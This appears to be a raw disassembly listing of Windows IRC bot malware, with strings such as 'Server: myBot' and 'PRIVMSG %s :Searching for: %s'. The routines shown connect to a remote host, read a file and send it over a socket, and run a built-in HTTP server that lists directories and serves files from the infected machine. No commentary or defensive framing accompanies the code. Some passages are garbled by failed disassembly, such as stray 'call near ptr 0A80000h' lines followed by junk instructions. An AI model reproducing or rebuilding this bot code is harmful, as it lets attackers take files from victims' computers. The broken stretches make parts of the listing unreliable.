		mov	ds:dword_438FC8, eax
		mov	[ebp+var_10], 2
		call	ds:dword_4211D8	; inet_addr
		push	[ebp+arg_4]
		mov	[ebp+var_C], eax
		call	ds:dword_4211DC	; ntohs
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ds:dword_438FC8
		call	ds:dword_4211E4	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405A84
		push	ds:dword_438FC8
		call	ds:dword_4211F0	; closesocket
		call	ds:dword_4211AC	; WSACleanup
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_405A84:				; CODE XREF: sub_405A0C+60j
		push	1
		pop	eax
		leave
		retn
sub_405A0C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405A89	proc near		; CODE XREF: sub_405409+531p

var_504		= byte ptr -504h
var_104		= byte ptr -104h

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp+var_104]
		push	104h
		push	eax
		push	0
		call	near ptr 0A80000h
		inc	edx
		lea	eax, [ebp+var_104]
		push	offset aRb	; "rb"
		push	eax
		call	sub_415BE8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_405B20
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_405B04
		push	edi
		mov	edi, 400h


loc_405ACC:				; CODE XREF: sub_405A89+78j
		push	esi
		push	1
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_416BB0
		add	esp, 10h
		lea	eax, [ebp+var_504]
		push	0
		push	edi
		push	eax
		push	ds:dword_438FC8
		call	ds:dword_4211EC	; send
		push	1
		call	ds:dword_421060	; Sleep
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_405ACC
		pop	edi


loc_405B04:				; CODE XREF: sub_405A89+3Bj
		push	esi
		call	sub_415B40
		pop	ecx
		push	ds:dword_438FC8
		call	ds:dword_4211F0	; closesocket
		call	ds:dword_4211AC	; WSACleanup
		push	1
		pop	eax


loc_405B20:				; CODE XREF: sub_405A89+35j
		pop	esi
		leave
		retn
sub_405A89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405B23	proc near		; DATA XREF: seg000:004075A9o
					; seg000:00411EBFo

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_415D70
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_415570
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	ds:dword_43A388
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	ds:dword_43A408
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_405F0E
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	ds:dword_43F524[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	ds:dword_43A3B4
		cmp	eax, 0FFFFFFFFh
		jz	loc_405F0E
		push	7FFFFFFFh
		push	edi
		call	ds:dword_43A3B0
		cmp	eax, 0FFFFFFFFh
		jz	loc_405F0E
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	ds:dword_43A424
		cmp	eax, 0FFFFFFFFh
		jz	loc_405F0E
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_405BFA:				; CODE XREF: sub_405B23+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	ds:dword_43A370
		cmp	eax, 0FFFFFFFFh
		jz	loc_405F09
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_405C30:				; CODE XREF: sub_405B23+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	ds:dword_43A280
		test	eax, eax
		jz	loc_405EF4
		cmp	esi, [ebp+var_C]
		jnz	short loc_405CB2
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	ds:dword_43A41C
		cmp	eax, 0FFFFFFFFh
		jz	loc_405EF4
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405C84
		lea	edx, [ebp+var_134]


loc_405C78:				; CODE XREF: sub_405B23+15Fj
		cmp	[edx], eax
		jz	short loc_405C84
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_405C78


loc_405C84:				; CODE XREF: sub_405B23+14Dj
					; sub_405B23+157j
		cmp	ecx, ebx
		jnz	short loc_405CA1
		cmp	ebx, 40h
		jnb	short loc_405CA1
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_405CA1:				; CODE XREF: sub_405B23+163j
					; sub_405B23+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_405EF4
		mov	[ebp+var_8], eax
		jmp	loc_405EF4
; ---------------------------------------------------------------------------


loc_405CB2:				; CODE XREF: sub_405B23+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_415570
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_415570
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	ds:dword_43A3A0
		test	eax, eax
		jg	short loc_405D45
		push	esi
		call	ds:dword_43A420
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_405EF4
		lea	eax, [ebp+var_134]


loc_405D04:				; CODE XREF: sub_405B23+1EBj
		cmp	[eax], esi
		jz	short loc_405D15
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405D04
		jmp	loc_405EF4
; ---------------------------------------------------------------------------


loc_405D15:				; CODE XREF: sub_405B23+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405D39
		lea	eax, [ebp+ecx*4+var_134]


loc_405D23:				; CODE XREF: sub_405B23+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405D23


loc_405D39:				; CODE XREF: sub_405B23+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_405EF4
; ---------------------------------------------------------------------------


loc_405D45:				; CODE XREF: sub_405B23+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_415570
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_415CF0
		add	esp, 10h
		test	eax, eax
		jbe	loc_405EF4


loc_405D73:				; CODE XREF: sub_405B23+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_405E18
		mov	esi, offset aGet ; "GET	"
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_415AC0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405DEC
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_415CF0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_405DEC
		mov	eax, offset asc_4269E8 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_415AC0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_415AC0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_416C98
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_415C00
		add	esp, 10h
		jmp	short loc_405E03
; ---------------------------------------------------------------------------


loc_405DEC:				; CODE XREF: sub_405B23+27Fj
					; sub_405B23+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_4269E4 ; "\r\n"
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_405E37


loc_405E03:				; CODE XREF: sub_405B23+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_415570
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_405E18:				; CODE XREF: sub_405B23+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_415CF0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_405D73
		jmp	loc_405EF4
; ---------------------------------------------------------------------------


loc_405E37:				; CODE XREF: sub_405B23+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_405E81
		lea	eax, [ebp+var_134]


loc_405E43:				; CODE XREF: sub_405B23+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_405E54
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_405E43
		jmp	short loc_405E84
; ---------------------------------------------------------------------------


loc_405E54:				; CODE XREF: sub_405B23+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_405E78
		lea	eax, [ebp+ecx*4+var_134]


loc_405E62:				; CODE XREF: sub_405B23+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_405E62


loc_405E78:				; CODE XREF: sub_405B23+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_405E84
; ---------------------------------------------------------------------------


loc_405E81:				; CODE XREF: sub_405B23+318j
		mov	esi, [ebp+var_4]


loc_405E84:				; CODE XREF: sub_405B23+32Fj
					; sub_405B23+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_405EED
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_415CF0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_415CF0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_405EED
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	ds:dword_43A424
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_406100
		add	esp, 14h
		jmp	short loc_405EF4
; ---------------------------------------------------------------------------


loc_405EED:				; CODE XREF: sub_405B23+369j
					; sub_405B23+38Fj
		push	esi
		call	ds:dword_43A420


loc_405EF4:				; CODE XREF: sub_405B23+11Dj
					; sub_405B23+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_405C30
		jmp	loc_405BFA
; ---------------------------------------------------------------------------


loc_405F09:				; CODE XREF: sub_405B23+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_405F0E:				; CODE XREF: sub_405B23+6Aj
					; sub_405B23+92j ...
		call	ds:dword_43A31C
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_42699C
		push	eax
		call	sub_4154E9
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_405F54
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_412D4E
		add	esp, 14h


loc_405F54:				; CODE XREF: sub_405B23+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_40B16D
		pop	ecx
		push	edi
		call	ds:dword_43A420
		push	[ebp+var_254]
		call	sub_4152B1
		pop	ecx
		push	ebx
		call	near ptr 0A80000h
		rcr	dword ptr [edi+5Eh], 1
		pop	ebx
sub_405B23	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405F7E	proc near		; DATA XREF: sub_406100+246o

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_1E6AE03D	= byte ptr  1E6AE045h

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_415D70
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_4154E9
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_4154E9
		xor	edi, edi
		add	esp, 10h
		cmp	[ebp+var_A4], edi
		jz	short loc_405FE3
		push	offset aTextHtml ; "text/html"
		jmp	short loc_405FE8
; ---------------------------------------------------------------------------


loc_405FE3:				; CODE XREF: sub_405F7E+5Cj
		push	offset aApplicationOct ; "application/octet-stream"


loc_405FE8:				; CODE XREF: sub_405F7E+63j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_4154E9
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		call	near ptr 0A80000h
		and	cl, [ebp+arg_1E6AE03D]
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	near ptr 0A80000h
		das
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_406061
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4154E9
		add	esp, 24h
		jmp	short loc_406082
; ---------------------------------------------------------------------------


loc_406061:				; CODE XREF: sub_405F7E+C4j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_4154E9
		add	esp, 28h


loc_406082:				; CODE XREF: sub_405F7E+E1j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax
		push	[ebp+var_44C]
		call	ds:dword_43A3D8
		cmp	[ebp+var_A4], edi
		jnz	short loc_4060C2
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_406A32
		pop	ecx
		pop	ecx
		jmp	short loc_4060DF
; ---------------------------------------------------------------------------


loc_4060C2:				; CODE XREF: sub_405F7E+12Cj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	loc_4063B0
		add	esp, 10h


loc_4060DF:				; CODE XREF: sub_405F7E+142j
		push	[ebp+var_44C]
		call	ds:dword_43A420
		push	[ebp+var_B4]
		call	sub_4152B1
		pop	ecx
		push	edi
		call	near ptr 0A80000h
		pop	ecx
		pop	edi
		pop	esi
sub_405F7E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406100	proc near		; CODE XREF: sub_405B23+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_415570
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_406136
		push	eax
		push	offset aS_2	; "\\%s"
		jmp	short loc_40613F
; ---------------------------------------------------------------------------


loc_406136:				; CODE XREF: sub_406100+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_40613F:				; CODE XREF: sub_406100+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_4154E9
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_415CF0
		test	eax, eax
		pop	ecx
		jbe	short loc_4061DA
		mov	[ebp+arg_8], 2


loc_40616A:				; CODE XREF: sub_406100+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_415CF0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_4061AA
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_4061AA
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_4061AA
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_4061AA
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_4061C4
; ---------------------------------------------------------------------------


loc_4061AA:				; CODE XREF: sub_406100+7Aj
					; sub_406100+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_4061BA
		push	5Ch
		pop	eax
		jmp	short loc_4061BD
; ---------------------------------------------------------------------------


loc_4061BA:				; CODE XREF: sub_406100+B3j
		movsx	eax, al


loc_4061BD:				; CODE XREF: sub_406100+B8j
		mov	[ebp+ebx+var_210], al


loc_4061C4:				; CODE XREF: sub_406100+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_415CF0
		cmp	esi, eax
		pop	ecx
		jb	short loc_40616A


loc_4061DA:				; CODE XREF: sub_406100+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset aSS_2	; "%s%s"
		push	eax
		call	sub_4154E9
		lea	eax, [ebp+var_314]
		push	offset asc_426C9C ; "\n"
		push	eax
		call	sub_416C98
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		call	ds:dword_421094	; GetFileAttributesA
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_406228
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40622B
		push	[ebp+arg_0]
		jmp	short loc_4062A7
; ---------------------------------------------------------------------------


loc_406228:				; CODE XREF: sub_406100+11Cj
		mov	[ebp+var_4], esi


loc_40622B:				; CODE XREF: sub_406100+121j
		cmp	[ebp+ebx+var_211], 5Ch
		jnz	short loc_406238
		mov	[ebp+var_4], esi


loc_406238:				; CODE XREF: sub_406100+133j
		mov	ebx, [ebp+arg_0]
		cmp	[ebp+var_4], edi
		mov	[ebp+var_6C4], ebx
		mov	[ebp+var_318], edi
		jz	short loc_4062B2
		cmp	[ebp+arg_C], edi
		jz	short loc_4062A6
		lea	eax, [ebp+var_314]
		push	offset asc_426C98 ; "*"
		push	eax
		call	sub_415C10
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4154E9
		lea	eax, [ebp+var_210]
		push	eax
		call	sub_406AEF
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_53C]
		push	eax
		call	sub_4154E9
		add	esp, 1Ch
		or	[ebp+var_330], 0FFFFFFFFh
		mov	[ebp+var_31C], esi
		jmp	short loc_406301
; ---------------------------------------------------------------------------


loc_4062A6:				; CODE XREF: sub_406100+14Fj
		push	ebx


loc_4062A7:				; CODE XREF: sub_406100+126j
		call	ds:dword_43A420
		jmp	loc_4063A9
; ---------------------------------------------------------------------------


loc_4062B2:				; CODE XREF: sub_406100+14Aj
		push	edi
		push	edi
		push	3
		push	edi
		push	esi
		lea	eax, [ebp+var_314]
		push	80000000h
		push	eax
		call	ds:dword_421078	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_406301
		lea	eax, [ebp+var_314]
		push	eax
		lea	eax, [ebp+var_640]
		push	eax
		call	sub_4154E9
		pop	ecx
		mov	[ebp+var_31C], edi
		pop	ecx
		push	edi
		push	esi
		call	near ptr 0A80000h
		dec	esi
		push	esi
		mov	[ebp+var_330], eax
		call	ds:dword_42106C	; CloseHandle


loc_406301:				; CODE XREF: sub_406100+1A4j
					; sub_406100+1CFj
		mov	esi, [ebp+arg_10]
		lea	eax, [ebp+var_8C4]
		push	esi
		push	offset unk_426C54
		push	eax
		call	sub_4154E9
		push	edi
		lea	eax, [ebp+var_8C4]
		push	3
		push	eax
		call	sub_414F95
		mov	[ebp+var_32C], eax
		imul	eax, 234h
		add	esp, 18h
		mov	ds:dword_43F51C[eax], esi
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_6C4]
		push	edi
		push	eax
		push	offset sub_405F7E
		push	edi
		push	edi
		call	ds:dword_42108C	; CreateThread
		mov	ecx, [ebp+var_32C]
		imul	ecx, 234h
		cmp	eax, edi
		mov	ds:dword_43F52C[ecx], eax
		jz	short loc_40637B


loc_406369:				; CODE XREF: sub_406100+279j
		cmp	[ebp+var_318], edi
		jnz	short loc_4063A9
		push	5
		call	ds:dword_421060	; Sleep
		jmp	short loc_406369
; ---------------------------------------------------------------------------


loc_40637B:				; CODE XREF: sub_406100+267j
		push	ebx
		call	ds:dword_43A420
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_8C4]
		push	offset unk_426C08
		push	eax
		call	sub_4154E9
		lea	eax, [ebp+var_8C4]
		push	eax
		call	sub_40B16D
		add	esp, 10h


loc_4063A9:				; CODE XREF: sub_406100+1ADj
					; sub_406100+26Fj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_406100	endp

; ---------------------------------------------------------------------------


loc_4063B0:				; CODE XREF: sub_405F7E+159p
					; seg000:0041149Fp
		push	ebp
		mov	ebp, esp
		sub	esp, 594h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	104h
		lea	eax, [ebp-594h]
		push	ebx
		push	eax
		mov	[ebp-4], ebx
		mov	[ebp-8], ebx
		call	sub_415570
		mov	edi, [ebp+8]
		push	offset asc_426C9C ; "\n"
		push	edi
		call	sub_416C98
		add	esp, 14h
		cmp	[ebp+10h], ebx
		jz	short loc_40640F
		push	edi
		mov	esi, 200h
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-248h]
		push	offset aPrivmsgSSearch ; "PRIVMSG %s :Searching	for: %s\r\n"
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 14h
		jmp	loc_40650C
; ---------------------------------------------------------------------------


loc_40640F:				; CODE XREF: seg000:004063EAj
		cmp	[ebp+14h], ebx
		push	edi
		jz	loc_4064F2
		call	sub_415CF0
		mov	[eax+edi-1], bl
		push	edi
		mov	esi, 200h
		push	offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"...
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 14h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3D8
		push	edi
		push	offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""...
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 10h
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3D8
		push	edi
		call	sub_415CF0
		push	3Ch
		push	96h
		mov	byte ptr [eax+edi], 2Ah
		push	0E6h
		push	offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"...
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 1Ch
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3D8
		push	offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"...
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 0Ch
		jmp	short loc_40650C
; ---------------------------------------------------------------------------


loc_4064F2:				; CODE XREF: seg000:00406413j
		mov	esi, 200h
		push	offset aSearchingForS ;	"Searching for:	%s\r\n"
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 10h


loc_40650C:				; CODE XREF: seg000:0040640Aj
					; seg000:004064F0j
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3D8
		cmp	[ebp+14h], ebx
		jz	short loc_4065A4
		push	dword ptr [ebp+14h]
		call	sub_415CF0
		cmp	eax, 2
		pop	ecx
		jbe	short loc_4065A4
		push	dword ptr [ebp+14h]
		call	sub_415CF0
		sub	eax, 3
		pop	ecx
		jz	short loc_406558


loc_40654C:				; CODE XREF: seg000:00406556j
		mov	ecx, [ebp+14h]
		cmp	byte ptr [eax+ecx], 2Fh
		jz	short loc_406558
		dec	eax
		jnz	short loc_40654C


loc_406558:				; CODE XREF: seg000:0040654Aj
					; seg000:00406553j
		inc	eax
		push	eax
		lea	eax, [ebp-594h]
		push	dword ptr [ebp+14h]
		push	eax
		call	sub_416D40
		lea	eax, [ebp-594h]
		push	eax
		push	offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"...
		lea	eax, [ebp-248h]
		push	esi
		push	eax
		call	sub_415A6A
		add	esp, 1Ch
		lea	eax, [ebp-248h]
		push	ebx
		push	eax
		call	sub_415CF0
		pop	ecx
		push	eax
		lea	eax, [ebp-248h]
		push	eax
		push	dword ptr [ebp+0Ch]
		call	ds:dword_43A3D8


loc_4065A4:				; CODE XREF: seg000:0040652Ej
					; seg000:0040653Cj
		lea	eax, [ebp-388h]
		push	eax
		push	edi
		call	ds:dword_4210A8	; FindFirstFileA
		lea	ecx, [ebp-388h]
		mov	[ebp+8], eax
		push	ecx
		push	eax
		call	ds:dword_4210A4	; FindNextFileA
		test	eax, eax
		jz	loc_406995
		mov	edi, 1FFh


loc_4065D0:				; CODE XREF: seg000:0040698Fj
		cmp	[ebp-388h], ebx
		jz	loc_40697D
		lea	eax, [ebp-35Ch]
		push	offset a__	; ".."
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40697D
		lea	eax, [ebp-35Ch]
		push	offset a__0	; "."
		push	eax
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40697D
		lea	eax, [ebp-20h]
		push	eax
		lea	eax, [ebp-374h]
		push	eax
		call	near ptr 0A80000h
		or	byte ptr [ebp-72AF17BBh], 45h
		loopne	near ptr loc_406678+3
		call	near ptr 0A80000h
		mov	ch, 66h
